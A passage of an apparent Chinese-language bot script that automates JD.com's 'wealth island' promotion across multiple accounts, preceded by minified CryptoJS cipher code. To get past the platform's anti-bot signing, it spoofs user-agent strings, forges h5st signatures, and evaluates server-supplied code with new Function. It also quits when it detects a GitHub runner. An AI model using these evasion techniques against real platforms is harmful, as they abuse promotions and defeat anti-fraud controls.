4433,496:1024,264:1049600,280:33555457,296:34603009,312:1,328:33554432,344:1048576,360:1025,376:34604032,392:33554433,408:34603008,424:0,440:34604033,456:1049601,472:1024,488:33555456,504:1048577},{0:134219808,1:131072,2:134217728,3:32,4:131104,5:134350880,6:134350848,7:2048,8:134348800,9:134219776,10:133120,11:134348832,12:2080,13:0,14:134217760,15:133152,2147483648:2048,2147483649:134350880,2147483650:134219808,2147483651:134217728,2147483652:134348800,2147483653:133120,2147483654:133152,2147483655:32,2147483656:134217760,2147483657:2080,2147483658:131104,2147483659:134350848,2147483660:0,2147483661:134348832,2147483662:134219776,2147483663:131072,16:133152,17:134350848,18:32,19:2048,20:134219776,21:134217760,22:134348832,23:131072,24:0,25:131104,26:134348800,27:134219808,28:134350880,29:133120,30:2080,31:134217728,2147483664:131072,2147483665:2048,2147483666:134348832,2147483667:133152,2147483668:32,2147483669:134348800,2147483670:134217728,2147483671:134219808,2147483672:134350880,2147483673:134217760,2147483674:134219776,2147483675:0,2147483676:133120,2147483677:2080,2147483678:131104,2147483679:134350848}],h=[4160749569,528482304,33030144,2064384,129024,8064,504,2147483679],l=n.DES=i.extend({_doReset:function(){for(var t=this._key.words,e=[],r=0;r<56;r++){var i=o[r]-1;e[r]=t[i>>>5]>>>31-i%32&1}for(var n=this._subKeys=[],a=0;a<16;a++){var h=n[a]=[],l=c[a];for(r=0;r<24;r++)h[r/6|0]|=e[(s[r]-1+l)%28]<<31-r%6,h[4+(r/6|0)]|=e[28+(s[r+24]-1+l)%28]<<31-r%6;for(h[0]=h[0]<<1|h[0]>>>31,r=1;r<7;r++)h[r]=h[r]>>>4*(r-1)+3;h[7]=h[7]<<5|h[7]>>>27}var f=this._invSubKeys=[];for(r=0;r<16;r++)f[r]=n[15-r]},encryptBlock:function(t,e){this._doCryptBlock(t,e,this._subKeys)},decryptBlock:function(t,e){this._doCryptBlock(t,e,this._invSubKeys)},_doCryptBlock:function(t,e,r){this._lBlock=t[e],this._rBlock=t[e+1],f.call(this,4,252645135),f.call(this,16,65535),d.call(this,2,858993459),d.call(this,8,16711935),f.call(this,1,1431655765);for(var i=0;i<16;i++){for(var n=r[i],o=this._lBlock,s=this._rBlock,c=0,l=0;l<8;l++)c|=a[l][((s^n[l])&h[l])>>>0];this._lBlock=s,this._rBlock=o^c}var u=this._lBlock;this._lBlock=this._rBlock,this._rBlock=u,f.call(this,1,1431655765),d.call(this,8,16711935),d.call(this,2,858993459),f.call(this,16,65535),f.call(this,4,252645135),t[e]=this._lBlock,t[e+1]=this._rBlock},keySize:2,ivSize:2,blockSize:2});function f(t,e){var r=(this._lBlock>>>t^this._rBlock)&e;this._rBlock^=r,this._lBlock^=r<>>t^this._lBlock)&e;this._lBlock^=r,this._rBlock^=r<192.");var e=t.slice(0,2),i=t.length<4?t.slice(0,2):t.slice(2,4),n=t.length<6?t.slice(0,2):t.slice(4,6);this._des1=l.createEncryptor(r.create(e)),this._des2=l.createEncryptor(r.create(i)),this._des3=l.createEncryptor(r.create(n))},encryptBlock:function(t,e){this._des1.encryptBlock(t,e),this._des2.decryptBlock(t,e),this._des3.encryptBlock(t,e)},decryptBlock:function(t,e){this._des3.decryptBlock(t,e),this._des2.encryptBlock(t,e),this._des1.decryptBlock(t,e)},keySize:6,ivSize:2,blockSize:2});t.TripleDES=i._createHelper(u)}(),function(){var t=mt,e=t.lib.StreamCipher,r=t.algo,i=r.RC4=e.extend({_doReset:function(){for(var t=this._key,e=t.words,r=t.sigBytes,i=this._S=[],n=0;n<256;n++)i[n]=n;n=0;for(var o=0;n<256;n++){var s=n%r,c=e[s>>>2]>>>24-s%4*8&255;o=(o+i[n]+c)%256;var a=i[n];i[n]=i[o],i[o]=a}this._i=this._j=0},_doProcessBlock:function(t,e){t[e]^=n.call(this)},keySize:8,ivSize:0});function n(){for(var t=this._S,e=this._i,r=this._j,i=0,n=0;n<4;n++){r=(r+t[e=(e+1)%256])%256;var o=t[e];t[e]=t[r],t[r]=o,i|=t[(t[e]+t[r])%256]<<24-8*n}return this._i=e,this._j=r,i}t.RC4=e._createHelper(i);var o=r.RC4Drop=i.extend({cfg:i.cfg.extend({drop:192}),_doReset:function(){i._doReset.call(this);for(var t=this.cfg.drop;0>>24)|4278255360&(t[r]<<24|t[r]>>>8);var i=this._X=[t[0],t[3]<<16|t[2]>>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],n=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]];for(r=this._b=0;r<4;r++)Rt.call(this);for(r=0;r<8;r++)n[r]^=i[r+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(n[0]^=a,n[1]^=l,n[2]^=h,n[3]^=f,n[4]^=a,n[5]^=l,n[6]^=h,n[7]^=f,r=0;r<4;r++)Rt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Rt.call(this),lt[0]=r[0]^r[5]>>>16^r[3]<<16,lt[1]=r[2]^r[7]>>>16^r[5]<<16,lt[2]=r[4]^r[1]>>>16^r[7]<<16,lt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)lt[i]=16711935&(lt[i]<<8|lt[i]>>>24)|4278255360&(lt[i]<<24|lt[i]>>>8),t[e+i]^=lt[i]},blockSize:4,ivSize:2}),ct.Rabbit=at._createHelper(ut),mt.mode.CTR=(_t=(pt=mt.lib.BlockCipherMode.extend()).Encryptor=pt.extend({processBlock:function(t,e){var r=this._cipher,i=r.blockSize,n=this._iv,o=this._counter;n&&(o=this._counter=n.slice(0),this._iv=void 0);var s=o.slice(0);r.encryptBlock(s,0),o[i-1]=o[i-1]+1|0;for(var c=0;c>>16,t[1],t[0]<<16|t[3]>>>16,t[2],t[1]<<16|t[0]>>>16,t[3],t[2]<<16|t[1]>>>16],i=this._C=[t[2]<<16|t[2]>>>16,4294901760&t[0]|65535&t[1],t[3]<<16|t[3]>>>16,4294901760&t[1]|65535&t[2],t[0]<<16|t[0]>>>16,4294901760&t[2]|65535&t[3],t[1]<<16|t[1]>>>16,4294901760&t[3]|65535&t[0]],n=this._b=0;n<4;n++)Mt.call(this);for(n=0;n<8;n++)i[n]^=r[n+4&7];if(e){var o=e.words,s=o[0],c=o[1],a=16711935&(s<<8|s>>>24)|4278255360&(s<<24|s>>>8),h=16711935&(c<<8|c>>>24)|4278255360&(c<<24|c>>>8),l=a>>>16|4294901760&h,f=h<<16|65535&a;for(i[0]^=a,i[1]^=l,i[2]^=h,i[3]^=f,i[4]^=a,i[5]^=l,i[6]^=h,i[7]^=f,n=0;n<4;n++)Mt.call(this)}},_doProcessBlock:function(t,e){var r=this._X;Mt.call(this),Bt[0]=r[0]^r[5]>>>16^r[3]<<16,Bt[1]=r[2]^r[7]>>>16^r[5]<<16,Bt[2]=r[4]^r[1]>>>16^r[7]<<16,Bt[3]=r[6]^r[3]>>>16^r[1]<<16;for(var i=0;i<4;i++)Bt[i]=16711935&(Bt[i]<<8|Bt[i]>>>24)|4278255360&(Bt[i]<<24|Bt[i]>>>8),t[e+i]^=Bt[i]},blockSize:4,ivSize:2}),vt.RabbitLegacy=yt._createHelper(St),mt.pad.ZeroPadding={pad:function(t,e){var r=4*e;t.clamp(),t.sigBytes+=r-(t.sigBytes%r||r)},unpad:function(t){var e=t.words,r=t.sigBytes-1;for(r=t.sigBytes-1;0<=r;r--)if(e[r>>>2]>>>24-r%4*8&255){t.sigBytes=r+1;break}}},mt}); - - -const $ = new Env('财富大陆互助'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -// const notify = $.isNode() ? require('./sendNotify') : ''; -$.CryptoJS = $.isNode() ? require('crypto-js') : CryptoJS; -let UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` -function randomString(e) { - e = e || 32; - let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -$.helpUpdate = true // 助力升级中 -$.InviteList = [] -$.innerInviteList = []; -const HelpAuthorFlag = false;//是否助力 true 助力,false 不助力 - -let codeIndex = $.getval('gua_wealth_island_codeId') || '' // 定义提交助力码的账号如2,3,5 -if ($.isNode() && process.env.gua_wealth_island_codeId) { - codeIndex = process.env.gua_wealth_island_codeId; -} -let codeIndexArr = [] - -// 热气球接客 每次运行接客次数 -let serviceNum = 10;// 每次运行接客次数 -if ($.isNode() && process.env.gua_wealth_island_serviceNum) { - serviceNum = Number(process.env.gua_wealth_island_serviceNum); -} - -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -$.appId = 10032; - -!(async () => { - if (!cookiesArr[0]) { - $.msg('', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return - } - if($.helpUpdate){ - console.log('助力正在升级中,敬请期待~') - return - } - await getCode() - await requestAlgo(); - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i] + ''; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` - console.log(`\n*****开始【京东账号${$.index}】${$.UserName}****\n`); - await run(); - } - } - // 助力 - let res = [], res2 = []; - $.InviteLists = [] - let getShareNum = 10 - let getShareNums = 0 - if (HelpAuthorFlag) { - $.innerInviteList = await getAuthorShareCode('https://raw.githubusercontent.com/smiek2121/updateTeam/master/shareCodes/wealth_island_code_one.json'); - if(!$.innerInviteList[0]) $.innerInviteList = await getAuthorShareCode('https://gitee.com/smiek2121/updateTeam/raw/master/shareCodes/wealth_island_code_one.json'); - res2 = await getAuthorShareCode('https://raw.githubusercontent.com/smiek2121/updateTeam/master/shareCodes/wealth_island_code.json'); - if(!res2[0]) res2 = await getAuthorShareCode('https://gitee.com/smiek2121/updateTeam/raw/master/shareCodes/wealth_island_code.json'); - getShareNums = [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length - $.innerInviteLists = getRandomArrayElements([...res, ...res2], [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length ); - $.InviteLists.push(...$.InviteList,...$.innerInviteList,...$.innerInviteLists); - }else{ - $.InviteLists.push(...$.InviteList); - } - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.0.5;${Math.ceil(Math.random()*2+12)}.${Math.ceil(Math.random()*4)};${randomString(40)};` - $.cookie = cookiesArr[i]; - $.canHelp = true; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - if ($.InviteLists && $.InviteLists.length) console.log(`\n******开始【邀请好友助力】(当前有${$.InviteList.length}+${getShareNums}个助力码)*********\n`); - for (let j = 0; j < $.InviteLists.length && $.canHelp; j++) { - $.inviteId = $.InviteLists[j]; - console.log(`${$.UserName} 助力 ${$.inviteId}`); - let res = await taskGet(`story/helpbystage`, '_cfd_t,bizCode,dwEnv,ptag,source,strShareId,strZone', `&strShareId=${$.inviteId}`) - if(res && res.iRet == 0){ - console.log(`助力成功: 获得${res.Data && res.Data.GuestPrizeInfo && res.Data.GuestPrizeInfo.strPrizeName || ''}`) - }else if(res && res.sErrMsg){ - console.log(res.sErrMsg) - if(res.sErrMsg.indexOf('助力次数达到上限') > -1 || res.iRet === 2232 || res.sErrMsg.indexOf('助力失败') > -1){ - break - } - }else{ - console.log(JSON.stringify(res)) - } - await $.wait(1000); - } - $.InviteLists = [] - $.innerInviteLists = getRandomArrayElements([...res, ...res2], [...res, ...res2].length >= getShareNum ? getShareNum : [...res, ...res2].length ); - $.InviteLists.push(...$.InviteList,...$.innerInviteList,...$.innerInviteLists); - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }).finally(() => { - $.done(); - }) -async function run() { - try{ - $.HomeInfo = '' - $.LeadInfo = '' - $.buildList = '' - $.Fund = '' - $.task = [] - $.Biztask = [] - $.Aggrtask = [] - $.Employtask = [] - - await GetHomePageInfo() - - if($.HomeInfo){ - if($.HomeInfo.strMyShareId) $.InviteList.push($.HomeInfo.strMyShareId) - console.log(`等级:${$.HomeInfo.dwLandLvl} 当前金币:${$.HomeInfo.ddwCoinBalance} 当前财富:${$.HomeInfo.ddwRichBalance} 助力码:${$.HomeInfo.strMyShareId}`) - // if(HelpAuthorFlag && codeIndexArr.includes($.index)){ - // await updateIsland($.HomeInfo.strMyShareId) - // await infoIsland() - // } - } - if($.LeadInfo && $.LeadInfo.dwLeadType == 2){ - await $.wait(2000) - console.log(`\n新手引导`) - await noviceTask() - await GetHomePageInfo() - await $.wait(1000) - } - await $.wait(2000) - } - catch (e) { - console.log(e); - } -} -async function GetHomePageInfo() { - let additional= `&ddwTaskId&strShareId&strMarkList=guider_step%2Ccollect_coin_auth%2Cguider_medal%2Cguider_over_flag%2Cbuild_food_full%2Cbuild_sea_full%2Cbuild_shop_full%2Cbuild_fun_full%2Cmedal_guider_show%2Cguide_guider_show%2Cguide_receive_vistor` - let stk= `_cfd_t,bizCode,ddwTaskId,dwEnv,ptag,source,strMarkList,strShareId,strZone` - $.HomeInfo = await taskGet(`user/QueryUserInfo`, stk, additional) - if($.HomeInfo){ - $.Fund = $.HomeInfo.Fund || '' - $.LeadInfo = $.HomeInfo.LeadInfo || '' - $.buildInfo = $.HomeInfo.buildInfo || '' - if($.buildInfo.buildList){ - $.buildList = $.buildInfo.buildList || '' - } - } -} - - -async function noviceTask(){ - let additional= `` - let stk= `` - additional= `` - stk= `_cfd_t,bizCode,dwEnv,ptag,source,strZone` - await taskGet(`user/guideuser`, stk, additional) - additional= `&strMark=guider_step&strValue=welcom&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_over_flag&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_over_flag&strValue=999&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=gift_redpack&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) - additional= `&strMark=guider_step&strValue=none&dwType=2` - stk= `_cfd_t,bizCode,dwEnv,dwType,ptag,source,strMark,strValue,strZone` - await taskGet(`user/SetMark`, stk, additional) -} - -function taskGet(type, stk, additional){ - return new Promise(async (resolve) => { - let myRequest = getGetRequest(type, stk, additional) - $.get(myRequest, async (err, resp, _data) => { - let data = '' - try { - let contents = '' - // console.log(_data) - data = $.toObj(_data) - if(data && data.iRet == 0){ - // console.log(_data) - }else{ - // 1771|1771|5001|0|0,1771|75|1023|0|请刷新页面重试 - // console.log(_data) - } - contents = `1771|${opId(type)}|${data && data.iRet || 0}|0|${data && data.sErrMsg || 0}` - await biz(contents) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(data); - } - }); - }); -} -function getGetRequest(type, stk='', additional='') { - let url = ``; - if(type == 'user/ComposeGameState'){ - url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}&strZone=jxbfd&dwFirst=1&_=${Date.now()}&sceneval=2` - }else if(type == 'user/RealTmReport'){ - url = `https://m.jingxi.com/jxbfd/${type}?__t=${Date.now()}${additional}&_=${Date.now()}&sceneval=2` - }else{ - let stks = '' - if(stk) stks = `&_stk=${stk}` - if(type == 'GetUserTaskStatusList' || type == 'Award' || type == 'Award1' || type == 'DoTask'){ - let bizCode = 'jxbfd' - if(type == 'Award1'){ - bizCode = 'jxbfddch' - type = 'Award' - } - url = `https://m.jingxi.com/newtasksys/newtasksys_front/${type}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=3&_cfd_t=${Date.now()}${additional}${stks}&_ste=1&_=${Date.now()}&sceneval=2&g_login_type=1` - }else if(type == 'user/ComposeGameAddProcess' || type == 'user/ComposeGameAward'){ - url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&__t=${Date.now()}${additional}${stks}&_=${Date.now()}&sceneval=2`; - }else{ - url = `https://m.jingxi.com/jxbfd/${type}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=${additional}${stks}&_=${Date.now()}&sceneval=2`; - } - url += `&h5st=${decrypt(Date.now(), stk, '', url)}`; - } - return { - url, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - 'Cookie': `cid=4;${$.cookie}`, - 'Host': 'm.jingxi.com', - "Referer": "https://st.jingxi.com/", - "User-Agent": UA, - - } - } -} - -function biz(contents){ - return new Promise(async (resolve) => { - let myRequest = { - url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, - headers: { - "Accept": "*/*", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", - "Connection": "keep-alive", - 'Cookie': `cid=4;${$.cookie}`, - 'Host': 'm.jingxi.com', - "Referer": "https://st.jingxi.com/", - "User-Agent": UA, - } - } - $.get(myRequest, async (err, resp, _data) => { - try { - // console.log(_data) - } - catch (e) { - $.logErr(e, resp); - } - finally { - resolve(); - } - }); - }); -} - -function opId(type){ - let opId = 5001 - if(type == "user/QueryUserInfo") opId = 1 - if(type == "user/GetMgrAllConf") opId = 3 - if(type == "story/QueryUserStory") opId = 5 - if(type == "user/GetJdToken") opId = 11 - if(type == "story/CouponState") opId = 13 - if(type == "story/WelfareDraw") opId = 15 - if(type == "story/GetWelfarePage") opId = 17 - if(type == "story/SendWelfareMoney") opId = 19 - if(type == "user/SetMark") opId = 23 - if(type == "user/GetMark") opId = 25 - if(type == "user/guideuser") opId = 27 - if(type == "user/createbuilding") opId = 29 - if(type == "user/BuildLvlUp") opId = 31 - if(type == "user/CollectCoin") opId = 33 - if(type == "user/GetBuildInfo") opId = 35 - if(type == "user/SpeedUp") opId = 37 - if(type == "story/AddNoticeMsg") opId = 39 - if(type == "user/breakgoldenegg") opId = 41 - if(type == "user/closewindow") opId = 43 - if(type == "user/drawpackprize") opId = 45 - if(type == "user/GetMoneyDetail") opId = 47 - if(type == "user/EmployTourGuide") opId = 49 - if(type == "story/sellgoods") opId = 51 - if(type == "story/querystorageroom") opId = 53 - if(type == "user/queryuseraccount") opId = 55 - if(type == "user/EmployTourGuideInfo") opId = 57 - if(type == "consume/TreasureHunt") opId = 59 - if(type == "story/QueryAppSignList") opId = 61 - if(type == "story/AppRewardSign") opId = 63 - if(type == "task/addCartSkuNotEnough") opId = 123 - if(type == "story/GetActTask") opId = 125 - if(type == "story/ActTaskAward") opId = 127 - if(type == "story/DelayBizReq") opId = 131 - if(type == "story/queryshell") opId = 65 - if(type == "story/QueryRubbishInfo") opId = 67 - if(type == "story/pickshell") opId = 69 - if(type == "story/CollectorOper") opId = 71 - if(type == "story/MermaidOper") opId = 73 - if(type == "story/RubbishOper") opId = 75 - if(type == "story/SpecialUserOper") opId = 77 - if(type == "story/GetUserTaskStatusList") opId = 79 - if(type == "user/ExchangeState") opId = 87 - if(type == "user/ExchangePrize") opId = 89 - if(type == "user/GetRebateGoods") opId = 91 - if(type == "user/BuyGoods") opId = 93 - if(type == "user/UserCashOutState") opId = 95 - if(type == "user/CashOut") opId = 97 - if(type == "user/GetCashRecord") opId = 99 - if(type == "user/CashOutQuali") opId = 101 - if(type == "user/GetAwardList") opId = 103 - if(type == "story/QueryMailBox") opId = 105 - if(type == "story/MailBoxOper") opId = 107 - if(type == "story/UserMedal") opId = 109 - if(type == "story/QueryMedalList") opId = 111 - if(type == "story/GetTakeAggrPage") opId = 113 - if(type == "story/GetTaskRedDot") opId = 115 - if(type == "story/RewardSign") opId = 117 - if(type == "story/helpdraw") opId = 119 - if(type == "story/helpbystage") opId = 121 - if(type == "story/AddSuggest") opId = 133 - return opId -} - -async function requestAlgo() { - $.fp = (getRandomIDPro({ size: 13 }) + Date.now()).slice(0, 16); - const options = { - "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, - headers: { - 'Authority': 'cactus.jd.com', - 'Pragma': 'no-cache', - 'Cache-Control': 'no-cache', - 'Accept': 'application/json', - 'Content-Type': 'application/json', - 'Origin': 'https://st.jingxi.com', - 'Sec-Fetch-Site': 'cross-site', - 'User-Agent': UA, - 'Sec-Fetch-Mode': 'cors', - 'Sec-Fetch-Dest': 'empty', - 'Referer': 'https://st.jingxi.com/', - 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' - }, - 'body': JSON.stringify({ - "version": "1.0", - "fp": $.fp, - "appId": $.appId, - "timestamp": Date.now(), - "platform": "web", - "expandParams": "" - }) - } - return new Promise(async resolve => { - $.post(options, (err, resp, data) => { - try { - const { ret, msg, data: { result } = {} } = JSON.parse(data); - $.token = result.tk; - $.genKey = new Function(`return ${result.algo}`)(); - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }) - }) -} - -function getRandomIDPro() { - var e, - t, - a = void 0 === (n = (t = 0 < arguments.length && void 0 !== arguments[0] ? arguments[0] : {}).size) ? 10 : n, - n = void 0 === (n = t.dictType) ? 'number' : n, - i = ''; - if ((t = t.customDict) && 'string' == typeof t) e = t; - else - switch (n) { - case 'alphabet': - e = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; - break; - case 'max': - e = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-'; - break; - case 'number': - default: - e = '0123456789'; - } - - for (; a--;) i += e[(Math.random() * e.length) | 0]; - return i; -} -function decrypt(time, stk, type, url) { - stk = stk || (url ? getUrlQueryParams(url, '_stk') : '') - if (stk) { - const timestamp = format("yyyyMMddhhmmssSSS", time); - const hash1 = $.genKey($.token, $.fp.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); - let st = ''; - stk.split(',').map((item, index) => { - st += `${item}:${getUrlQueryParams(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; - }) - const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); - return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fp.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2)].join(";")) - } else { - return encodeURIComponent('20210713151140309;3329030085477162;10032;tk01we5431d52a8nbmxySnZya05SXBQSsarucS7aqQIUX98n+iAZjIzQFpu6+ZjRvOMzOaVvqHvQz9pOhDETNW7JmftM;3e219f9d420850cadd117e456d422e4ecd8ebfc34397273a5378a0edc70872b9') - } -} - -function format(a, time) { - if (!a) a = 'yyyy-MM-dd'; - var t; - if (!time) { - t = Date.now(); - } else { - t = new Date(time); - } - var e, - n = new Date(t), - d = a, - l = { - 'M+': n.getMonth() + 1, - 'd+': n.getDate(), - 'D+': n.getDate(), - 'h+': n.getHours(), - 'H+': n.getHours(), - 'm+': n.getMinutes(), - 's+': n.getSeconds(), - 'w+': n.getDay(), - 'q+': Math.floor((n.getMonth() + 3) / 3), - 'S+': n.getMilliseconds(), - }; - /(y+)/i.test(d) && (d = d.replace(RegExp.$1, ''.concat(n.getFullYear()).substr(4 - RegExp.$1.length))); - Object.keys(l).forEach(e => { - if (new RegExp('('.concat(e, ')')).test(d)) { - var t, - a = 'S+' === e ? '000' : '00'; - d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[e] : ''.concat(a).concat(l[e]).substr(''.concat(l[e]).length)); - } - }); - return d; -} - -function getUrlQueryParams(url_string, param) { - let reg = new RegExp("(^|&)" + param + "=([^&]*)(&|$)", "i"); - let r = url_string.split('?')[1].substr(0).match(reg); - if (r != null) { - return decodeURIComponent(r[2]); - }; - return ''; -} - - - -function getAuthorShareCode(url) { - return new Promise(async resolve => { - const options = { - "url": `${url}?${new Date()}`, - "timeout": 10000, - "headers": { - "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" - } - }; - if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { - const tunnel = require("tunnel"); - const agent = { - https: tunnel.httpsOverHttp({ - proxy: { - host: process.env.TG_PROXY_HOST, - port: process.env.TG_PROXY_PORT * 1 - } - }) - } - Object.assign(options, { agent }) - } - let res = [] - $.get(options, async (err, resp, data) => { - try { - if (err) { - } else { - if (data) res = JSON.parse(data) - } - } catch (e) { - // $.logErr(e, resp) - } finally { - resolve(res || []); - } - }) - await $.wait(10000) - resolve(res); - }) -} - -/** - * 随机从一数组里面取 - * @param arr - * @param count - * @returns {Buffer} - */ - function getRandomArrayElements(arr, count) { - var shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; - while (i-- > min) { - index = Math.floor((i + 1) * Math.random()); - temp = shuffled[index]; - shuffled[index] = shuffled[i]; - shuffled[i] = temp; - } - return shuffled.slice(min); -} - - -// 计算时间 -function timeFn(dateBegin) { - var hours = 0 - var minutes = 0 - var seconds = 0 - if(dateBegin != 0){ - //如果时间格式是正确的,那下面这一步转化时间格式就可以不用了 - var dateEnd = new Date();//获取当前时间 - var dateDiff = dateBegin - dateEnd.getTime();//时间差的毫秒数 - var leave1 = dateDiff % (24 * 3600 * 1000) //计算天数后剩余的毫秒数 - hours = Math.floor(leave1 / (3600 * 1000))//计算出小时数 - //计算相差分钟数 - var leave2 = leave1 % (3600 * 1000) //计算小时数后剩余的毫秒数 - minutes = Math.floor(leave2 / (60 * 1000))//计算相差分钟数 - //计算相差秒数 - var leave3 = leave2 % (60 * 1000) //计算分钟数后剩余的毫秒数 - seconds = Math.round(leave3 / 1000) - } - hours = hours < 10 ? '0'+ hours : hours - minutes = minutes < 10 ? '0'+ minutes : minutes - seconds = seconds < 10 ? '0'+ seconds : seconds - var timeFn = hours + ":" + minutes + ":" + seconds; - return timeFn; -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} - - - -function getCode(){ - if(!$.getval('gua_wealth_island_code') || ($.getval('gua_wealth_island_code') && !$.getval('gua_wealth_island_code')[$.time('yyyyMMd')])){ - $.gua_wealth_island_code = {} - $.gua_wealth_island_code[$.time('yyyyMMd')] = [] - $.setdata($.gua_wealth_island_code,'gua_wealth_island_code') - }else{ - $.gua_wealth_island_code = $.getval('gua_wealth_island_code') - } - if(!codeIndex){ - for(let n in cookiesArr){ - codeIndexArr.push(Number(n)+1) - } - console.log(`您设置为按顺序提交助力(只提交前3个)\n如需自定义请在环境变量[gua_wealth_island_codeId](只提交前3个)例:\ngua_wealth_island_codeId="3,5,8"`) - }else{ - console.log(`您设置为按自定义提交助力(只提交前3个)\n提交的账号为[${codeIndex.split(',')}]\n按号码从小到大提交\n注意:不是按填写的顺序`) - for(let i of codeIndex.split(',')){ - codeIndexArr.push(Number(i)) - } - } - console.log(`\n先账号互助完再助力助力池\n默认其余的助力给助力池\n如果介意请不要使用本脚本`) -} - - -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new 